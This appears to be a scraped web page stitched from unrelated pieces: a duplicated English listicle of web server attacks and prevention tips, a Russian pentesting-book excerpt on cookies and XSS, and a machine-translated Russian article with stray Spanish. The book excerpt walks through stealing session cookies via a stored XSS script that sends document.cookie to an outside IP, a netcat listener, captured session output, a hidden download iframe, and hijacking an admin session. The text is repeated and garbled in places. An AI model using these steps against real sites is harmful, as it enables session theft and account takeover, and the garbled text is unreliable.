  • HTTP Response Splitting Attack

1. DENIAL-OF-SERVICE (DOS) / DISTRIBUTED DENIAL-OF-SERVICE (DDOS): Denial of Service is when an internet hacker causes the web to provide a response to a large number of requests. This causes the server to slow down or crash and users authorized to use the server will be denied service or access. Government services, credit card companies under large corporations are common victims of this type of attack

2. WEB DEFACEMENT ATTACK: In a Web Defacement Attack, the hacker gains access to the site and defaces it for a variety of reasons, including humiliation and discrediting the victim. The attackers hack into a web server and replace a website hosted with one of their own.

3. SSH BRUTE FORCE ATTACK: By brute-forcing SSH login credentials, an SSH Brute Force Attack is performed to attain access. This exploit can be used to send malicious files without being noticed. Unlike a lot of other tactics used by hackers, brute force attacks aren’t reliant on existing vulnerabilities

4. CROSS SITE SCRIPTING (XSS): This type of attack is more likely to target websites with scripting flaws. The injection of malicious code into web applications is known as Cross-Site Scripting. The script will give the hacker access to web app data such as sessions, cookies, and so on.

5. DIRECTORY TRAVERSAL: Directory Traversal Attack is usually effective on older servers with vulnerabilities and misconfiguration. The root directory is where web pages are stored, however, in this attack, the hacker is after directories outside of the root directory.

6. DNS SERVER HIJACKING: DNS Hijacking refers to any attack that tricks the end-user into thinking he or she is communicating with a legitimate domain name when in reality they are communicating with a domain name or IP address that the attacker has set up. DNS Redirection is another name for this.

7. MITM ATTACK: Man-in-the-Middle (MITM) attack allows the attacker to access sensitive information by blocking and modifying the connection between the end-user and web servers. In MITM attacks or smells, the hacker captures or corrects modified messages between the user and the web server by listening or intervening in the connection. This allows the attacker to steal sensitive user information such as online banking details, usernames, passwords, etc., which are transmitted online to the webserver. The attacker entices the victim to attach to an Internet server by pretending to be an agent.

8. HTTP RESPONSE SPLITTING ATTACK: HTTP Response Splitting is a protocol manipulation attack, similar to Parameter Tampering. Only programs that use HTTP to exchange data are vulnerable to this attack. Because the entry point is in the user viewable data, it works just as well with HTTPS. The attack can be carried out in a variety of ways.

How to Prevent Different  Attacks in Web Security?

  • Keep your system up to date: Not updating the software regularly makes it weaker and leaves the system more vulnerable to attacks. Hackers take advantage of these flaws, and cybercriminals take advantage of them to get access to your network.
  • Prevent connecting to the public WiFi network: An unsecured Wi-Fi connection can be used by hackers to spread malware. If you allow file-sharing across a network, a hacker can simply infect your computer with tainted software. The ability of a hacker to put himself between you and the connection point poses the greatest threat to free Wi-Fi security.
  • Install Anti-virus, and update it regularly: Antivirus software is designed to identify, block, and respond to dangerous software, such as viruses, on your computer. Because computers are continuously threatened by new viruses, it is critical to keep antivirus software up to date. Anti-virus updates include the most recent files required to combat new threats and safeguard your machine. These signature files are provided on a daily basis, if not more frequently.
  • Use IDS and firewall with updated signatures: NIDS are security threat detection and prevention systems that identify and prevent security threats from infiltrating secure networks. The use of NIDS has a negligible effect on network performance. NIDS are typically passive devices that listen to a network without interfering with the network’s normal operation.
  • Backup your data: The fundamental purpose of a data backup is to keep a safe archive of your vital information, whether it’s classified documents for your business or priceless family photos so that you can quickly and effortlessly recover your device in the event of data loss. Backup copies allow data to be restored from a previous point in time, which can aid in the recovery of a business after an unanticipated occurrence. Protecting against primary data loss or corruption requires storing a copy of the data on a secondary medium.
  • Install a Firewall: Firewalls defend your computer or network from outside cyber attackers by filtering out dangerous or superfluous network traffic. Firewalls can also prevent harmful malware from gaining internet access to a machine or network.

Web servers are where websites are stored. They are computers that run an operating system and are connected to a database to run multiple applications. A web server’s primary responsibility is to show website content by storing, processing, and distributing web pages to users.

Web Server Attack:

Any attempt by a malicious actor to undermine the security of a Web-based application is referred to as a Web Application Attack or Web Server Attack. Web application attacks can either target the application itself in order to get access to sensitive data, or they can use the application as a staging area for attacks against the program’s users.

There are 5 types of major Web Attacks:

  • Denial-of-Service (DoS) / Distributed Denial-of-service (DDoS)
  • Web Defacement Attack
  • SSH Brute Force Attack
  • Cross-site scripting (XSS)
  • Directory Traversal
  • DNS Server Hijacking
  • MITM Attack
  • HTTP Response Splitting Attack

1. DENIAL-OF-SERVICE (DOS) / DISTRIBUTED DENIAL-OF-SERVICE (DDOS): Denial of Service is when an internet hacker causes the web to provide a response to a large number of requests. This causes the server to slow down or crash and users authorized to use the server will be denied service or access. Government services, credit card companies under large corporations are common victims of this type of attack

2. WEB DEFACEMENT ATTACK: In a Web Defacement Attack, the hacker gains access to the site and defaces it for a variety of reasons, including humiliation and discrediting the victim. The attackers hack into a web server and replace a website hosted with one of their own.

3. SSH BRUTE FORCE ATTACK: By brute-forcing SSH login credentials, an SSH Brute Force Attack is performed to attain access. This exploit can be used to send malicious files without being noticed. Unlike a lot of other tactics used by hackers, brute force attacks aren’t reliant on existing vulnerabilities

4. CROSS SITE SCRIPTING (XSS): This type of attack is more likely to target websites with scripting flaws. The injection of malicious code into web applications is known as Cross-Site Scripting. The script will give the hacker access to web app data such as sessions, cookies, and so on.

5. DIRECTORY TRAVERSAL: Directory Traversal Attack is usually effective on older servers with vulnerabilities and misconfiguration. The root directory is where web pages are stored, however, in this attack, the hacker is after directories outside of the root directory.

6. DNS SERVER HIJACKING: DNS Hijacking refers to any attack that tricks the end-user into thinking he or she is communicating with a legitimate domain name when in reality they are communicating with a domain name or IP address that the attacker has set up. DNS Redirection is another name for this.

7. MITM ATTACK: Man-in-the-Middle (MITM) attack allows the attacker to access sensitive information by blocking and modifying the connection between the end-user and web servers. In MITM attacks or smells, the hacker captures or corrects modified messages between the user and the web server by listening or intervening in the connection. This allows the attacker to steal sensitive user information such as online banking details, usernames, passwords, etc., which are transmitted online to the webserver. The attacker entices the victim to attach to an Internet server by pretending to be an agent.

8. HTTP RESPONSE SPLITTING ATTACK: HTTP Response Splitting is a protocol manipulation attack, similar to Parameter Tampering. Only programs that use HTTP to exchange data are vulnerable to this attack. Because the entry point is in the user viewable data, it works just as well with HTTPS. The attack can be carried out in a variety of ways.

How to Prevent Different  Attacks in Web Security?

  • Keep your system up to date: Not updating the software regularly makes it weaker and leaves the system more vulnerable to attacks. Hackers take advantage of these flaws, and cybercriminals take advantage of them to get access to your network.
  • Prevent connecting to the public WiFi network: An unsecured Wi-Fi connection can be used by hackers to spread malware. If you allow file-sharing across a network, a hacker can simply infect your computer with tainted software. The ability of a hacker to put himself between you and the connection point poses the greatest threat to free Wi-Fi security.
  • Install Anti-virus, and update it regularly: Antivirus software is designed to identify, block, and respond to dangerous software, such as viruses, on your computer. Because computers are continuously threatened by new viruses, it is critical to keep antivirus software up to date. Anti-virus updates include the most recent files required to combat new threats and safeguard your machine. These signature files are provided on a daily basis, if not more frequently.
  • Use IDS and firewall with updated signatures: NIDS are security threat detection and prevention systems that identify and prevent security threats from infiltrating secure networks. The use of NIDS has a negligible effect on network performance. NIDS are typically passive devices that listen to a network without interfering with the network’s normal operation.
  • Backup your data: The fundamental purpose of a data backup is to keep a safe archive of your vital information, whether it’s classified documents for your business or priceless family photos so that you can quickly and effortlessly recover your device in the event of data loss. Backup copies allow data to be restored from a previous point in time, which can aid in the recovery of a business after an unanticipated occurrence. Protecting against primary data loss or corruption requires storing a copy of the data on a secondary medium.
  • Install a Firewall: Firewalls defend your computer or network from outside cyber attackers by filtering out dangerous or superfluous network traffic. Firewalls can also prevent harmful malware from gaining internet access to a machine or network.

Итак, предположим, что в ходе сбора информации о целевой организации мы обнаружили веб-приложение. На самом деле можно высказаться иначе: будет очень странно, если в ходе сбора информации вы не обнаружите ни одного вебприложения. Так что же это такое? Веб-приложением можно назвать все что угодно, главный принцип — приложение запускается на стороне сервера, а для доступа к нему используется клиент. Это может быть домашняя страничка организации, веб-интерфейс для просмотра корпоративной почты, онлайн-система мониторинга или браузерный чат, все это — веб-приложения.

Популярность таких приложений постоянно растет. И это легко понять — кросс­ платформенные, многопользовательские, не требующие клиентских вычислительных мощностей и вместе с тем необыкновенно функциональные. Крупные организации обычно держат свои ресурсы на собственных серверах, и, разумеется,

кэтим серверам есть доступ у любого человека. Ведь нет смысла создавать публичную страничку организации, чтобы впоследствии закрыть пользователям доступ

кней. Это и делает их самой популярной мишенью для атак.

Если раньше веб-странички были сверстаны на HTML и представляли собой не что иное, как простой документ, то теперь практически любой сайт является сложным программным продуктом с множеством подключаемых модулей. Программный код выполняется на стороне сервера, а пользователю выдается только результат его работы.

Взлом веб-приложения становится возможным по двум причинам: 1) это программный комплекс, который, как и любой другой, может быть взломан; 2) чем больше программного кода, тем выше вероятность наличия ошибки в нем.

Знакомство с сookie

Взглянем ближе на такую, казалось бы, банальную вещь, как cookie. Важность cookie нельзя преуменьшить, так же как и возможные риски и потери, связанные с возможностью использования их злоумышленниками для своих атак.

68    Глава 4  •  Атаки на веб-приложения

Все более-менее большие сайты начинают когда-то пользоваться cookie. Исходя из нынешнего положения вещей, это практически неизбежно. Приведем небольшой пример. Возьмем самый обыкновенный интернет-магазин. Пользователь просматривает каталог товаров и добавляет один из них в корзину. На этой стадии интер- нет-магазин уже создает на его компьютере, без ведома пользователя, cookie-файл. Этот файл будет содержать в себе как минимум информацию о товарах в корзине. Эта необходимость обусловлена тем, что веб-приложению нужно где-то хранить информацию о действиях пользователя. Ведь практически каждый раз, когда покупатель нажимает на какую-либо кнопку на страничке, приложение на стороне сервера запускается заново. И оно должно делать это, имея в распоряжении все данные, предоставленные пользователем в течение данной сессии, а также информацию, сгенерированную самим сервером. Чтобы не тратить ресурсы предприятия, для хранения этого массива информации на стороне клиента создается cookie-файл. В нем может храниться не только информация о товарах, но и данные, необходимые для аутентификации, а также персональные данные и история прошлых сессий.

Структура cookie-файла достаточно проста. Это обычный текстовый файл, в котором данные представлены в формате «параметр = значение». Данные этого файла могут передаваться с использованием SSL-протокола, однако данные из файла, созданного, например сайтом mycorp.org, не могут быть прочитаны другим вебприложением, работающим на другом домене, предположим myisp.net.

Что же можно сделать с этим файлом? Его можно украсть. Для этого очень часто используют XXS, который будет рассмотрен далее. Заменив свой cookie-файл файлом жертвы, можно без проблем работать от ее имени.

Также, проанализировав сам файл, можно попробовать менять значения в нем, пытаясь таким образом получить более высокие привилегии или даже доступ к административной части сайта.

Межсайтовый скриптинг (XSS)

XSS — тип атаки на пользователя, который осуществляется благодаря включению в веб-приложение кода злоумышленника. Чаще всего такому типу атак подвержены приложения, в которых отсутствует проверка введенных пользователем данных. Скажем, при регистрации пользователь может ввести в поле «имя» не только буквы, но и специальные символы, такие как «№» или «*», хотя в имени не может быть специальных символов.

Чаще всего злоумышленники используют JavaScript или Flash, но учитывая разнообразие поддерживаемых браузером технологий, это может быть что угодно. Самыми частыми целями такого типа атак являются: кража cookie-файла пользователя, взаимодействие с передаваемой во время сессии информацией, а также перенаправление пользователя на другой сайт.

Для демонстрации данного метода найдем, используя ранее рассмотренный метод, сайт с гостевой книгой и полем для ввода. Используя запрос в Google наподобие

Межсайтовый скриптинг (XSS)  69

«guestbook intitle:comment», находим минут за пятнадцать форму гостевой книги, где данные во время ввода не проверяются.

Рис. 4.1. Форма ввода без проверки данных

Рис. 4.2. Сообщение, полученное после отправки новой записи в гостевую книгу

70    Глава 4  •  Атаки на веб-приложения

Перенаправление браузера. Что же полезного может сделать злоумышленник, кроме как пугать пользователей сайта всплывающими окнами? Например, можно заставить пользователя скачать файл.

Для этого создадим аналогичным способом на сайте невидимую область и вставим туда ссылку на файл.

<iframe SRC=»https://download.filezilla-project.org/client/FileZilla_3.22.1_win32-setup_

bundled.exe»

height=»100″ width=»100″></iframe>

Теперь, когда пользователь зайдет на скомпрометированную страницу, браузер автоматически предложит ему скачать указанный файл.

Кража cookie. Как мы говорили ранее, при помощи XSS можно украсть cookieфайл. Для этого нам понадобятся: 1) уязвимая форма; 2) утилита netcat, позволяющая взаимодействовать в интерактивном режиме с любым сетевым сервисом (может выступать как в роли сервера, так и в роли клиента); 3) пользователь, на котором мы все это проверим.

После того как мы нашли сайт, на котором нет проверки введенных данных и который хранит все данные в cookie-файле, подготовим место, куда будет приходить информация от пользователей. Для этого заставим netcat выступить в роли сервера и принимать соединения на порту 80.

nc nlvp 80

Далее создадим скрипт и уже знакомым нам способом загрузим на сайт.

<script>

new Image().src=»http://122.18.110.30/any.php?output=»+document.cookie; </script>

После того как пользователь зайдет на страничку, сразу же произойдет соединение с заранее подготовленным netcat’ом, и мы получим нужную информацию.

root@kali:~# nc nlvp 80 listening on [any] 80 …

connect to [122.18.110.30] from (UNKNOWN) [83.165.32.18] 49455 GET /any.php?output=PHPSESSID=316d4647de53486c2c005811065 HTTP/1.1 Accept: */*

Referer: http://127.0.0.1/index.php

Теперь у нас есть идентификатор сессии. Можно найти соответствующий cookie и поменять его вручную или же воспользоваться плагином. В данном случае мы используем «Cookies Manager+».

Сохранив изменения и обновив страницу, мы сможем пользоваться данным сайтом с правами администратора. Однако учтите, что, захватив один раз сессию, ею нельзя пользоваться постоянно — только до тех пор, пока пользователь или система ее не закроют.

Межсайтовый скриптинг (XSS)  71

Рис. 4.3. Изменение данных при помощи «Cookies Manager+»

Рис. 4.4. Профиль администратора сайта

Содержание

  • Атаки, которые могут повлиять на веб-серверы
    • Межсайтовый запрос
    • SQL-инъекция
    • Атака отравлением файлов cookie
    • Кража куки
    • Фишинг-атаки
    • Веб-дефейс
    • Переполнение буфера
    • Принудительная навигация
    • Разделение ответа HTTP
  • Как предотвратить атаки на веб-приложения

Атаки, которые могут повлиять на веб-серверы

Кибератаки, как мы уже упоминали, могут затронуть все типы пользователей, компьютеров и систем. Также могут быть скомпрометированы веб-серверы. Они могут красть информацию, собирать пользовательские данные, взламывать пароли, запускать атаку отказа в обслуживании… Множество разновидностей угроз, которые так или иначе могут повлиять на нас.

Межсайтовый запрос

Мы можем перевести это на испанский язык как подделку межсайтовых запросов, также известную как атака одним щелчком мыши или сеансовая атака и сокращенно CSRF («морской серфинг») или XSRF. Это тип использования вредоносных веб-сайтов через которые несанкционированные команды передаются от пользователя, которому доверяет веб-сайт. В отличие от межсайтового скриптинга (XSS), который использует доверие, которое пользователь имеет к определенному сайту, CSRF использует доверие, которое сайт имеет к браузеру пользователя.

Таким образом, злоумышленник может выполнить действие от имени жертвы. По сути, это похоже на то, как если бы он выполнялся этим пользователем. Это одна из самых опасных атак из-за возможных последствий для жертвы.

SQL-инъекция

Эта атака — одна из самых популярных в веб-приложениях. Хакеры собираются основываться на уязвимости, как это может произойти на уровне базы данных веб-приложения. Этот код может поставить под угрозу этот инструмент и привести к утечке конфиденциальных данных, информации и т. Д.

Логически это приведет к некорректной работе программы. В конце концов, то, что злоумышленник делает с помощью SQL-инъекции, — это модифицирует код, который уже был запрограммирован ранее. Вы собираетесь изменить его основную функцию.

Атака отравлением файлов cookie

Атаки отравления файлов cookie включают изменение содержимого файла cookie (личная информация, хранящаяся на компьютере жертвы) для обхода механизмов безопасности. Используя атаки с отравлением файлов cookie, злоумышленники могут получить несанкционированную информацию о другом пользователе и украсть его личность.

Таким образом, при отравлении файлов cookie злоумышленник может получить конфиденциальную информацию, например финансовые данные. Это может поставить под угрозу конфиденциальность пользователя.

Кража куки

Кража файлов cookie — это тип атаки, который осуществляется с использованием клиентские скрипты, такие как JavaScript . Когда пользователь щелкает ссылку, сценарий будет искать в файле cookie, хранящемся в памяти компьютера, все активные файлы cookie и отправлять их хакеру, выполняющему эту атаку.

Фишинг-атаки

Без сомнения, мы сталкиваемся с классикой кибератак. Фишинг это процесс, в котором злоумышленник пытается украсть конфиденциальные данные, пароли, учетные данные … Он стремится, чтобы пользователи вводили такую ​​информацию, как имена пользователей, пароли и данные кредитной карты, выдавая себя за надежную сущность в электронном сообщении. Однако все, что ставит жертва, попадает на сервер, контролируемый злоумышленниками.

Спам против фишинга en el correo

Веб-дефейс

Другая атака, которая может серьезно скомпрометировать страницу, известна как Веб-дефейс . На испанский мы можем перевести это как искажение веб-сайта. Он изменяет внешний вид страницы так, чтобы она выглядела так, как будто она не есть. Они могут получить доступ к серверу и изменить или заменить весь его контент.

Это может серьезно повлиять на репутацию веб-сайта. Злоумышленник может полностью изменить внешний вид, опубликованные статьи, содержание… Очевидно, это очень важная проблема, с которой необходимо столкнуться.

Переполнение буфера

Еще один тип атаки — это так называемое переполнение буфера. Это проблема, в которой процесс хранит данные в буфере нехватки памяти, который программист зарезервировал для него. Это еще одна разновидность очень распространенной угрозы. Дополнительные данные перезаписывают память, которая может содержать другие данные, включая программные переменные и данные управления потоком выполнения программы.

Это может привести к ошибкам доступа к памяти, неверным результатам, завершению программы или нарушению безопасности системы. Необходимо учитывать, что этот тип уязвимости может присутствовать во всех типах систем, приложений и серверов.

Принудительная навигация

В этом случае мы сталкиваемся с атакой, целью которой является перечисление и доступ к ресурсам, на которые приложение не ссылается, но которые все еще доступны. Мы могли бы назвать в качестве примеров каталоги, такие как config, backup, журналы, к которым можно получить доступ, могут содержать много информации о самом приложении, пароле, действиях и т. Д.

Разделение ответа HTTP

Также известный под названием Разделение HTTP-ответа . На этот раз злоумышленник передает вредоносные данные уязвимому приложению. , и приложение включает данные в заголовок ответа HTTP. Сама эта атака не причиняет никакого ущерба, но может привести к другим чувствительным атакам, таким как XSS.

паутина оболочки ataques

Как предотвратить атаки на веб-приложения

Как мы видели, есть много нападки что мы можем страдать. Неважно, домашние мы пользователи или большая организация. Кроме того, любое устройство, система или сервер могут быть атакованы злоумышленником. Это означает, что мы должны принимать меры предосторожности и не допускать ошибок любого рода, которые ставят нас под угрозу.

Существуют различные методы и инструменты которые разработчики веб-приложений и веб-серверов используют для защиты страницы. Кроме того, существуют специальные решения для атак и передовые методы, которые можно применять на постоянной основе для защиты приложений и пользователей. Проверки кода, программы выявления ошибок и сканеры кода должны быть реализованы на протяжении всего жизненного цикла приложения.

Кодовые обзоры могут помочь обнаружить уязвимый код на ранней стадии разработки, динамические и статические сканеры кода могут выполнять автоматические проверки уязвимостей, а бонусные программы ошибок позволяют этичным тестировщикам или хакерам находить ошибки на веб-сайте.

Используйте хранимые процедуры с параметрами, которые могут выполняться автоматически. Примером может быть внедрение CAPTCHA или предоставление пользователям ответов на вопросы. Это гарантирует, что форма и запрос будут отправлены человеком, а не ботом.

Еще один очень важный аспект — использовать веб-приложение брандмауэр (WAF) для мониторинга сети и блокировки возможных атак. Это мера безопасности, которую следует применять на наших серверах. Таким образом мы избежим проникновения злоумышленников, которые могут нарушить нашу конфиденциальность и безопасность.

Однако имейте в виду, что ни один из этих методов не может заменить другой. Это означает, что каждый добавляет свое значение в таблицу и добавляет защиту от определенных сценариев атак. Не все уязвимости можно найти с помощью обзоров кода или бонусных программ для ошибок или просто через брандмауэр веб-приложений, поскольку ни один инструмент не является на 100% безопасным. Все это означает, что мы должны рассмотреть комбинацию всех этих методов, чтобы защитить приложения и пользователей наиболее эффективным способом.

Понравилась статья? Поделить с друзьями:
  • Сценарий апокалипсиса 2022
  • Сценарий атаки информационная безопасность
  • Сценарий апокалипсис борджиа
  • Сценарий ата аналар жиналысына арнал?ан
  • Сценарий анука мамы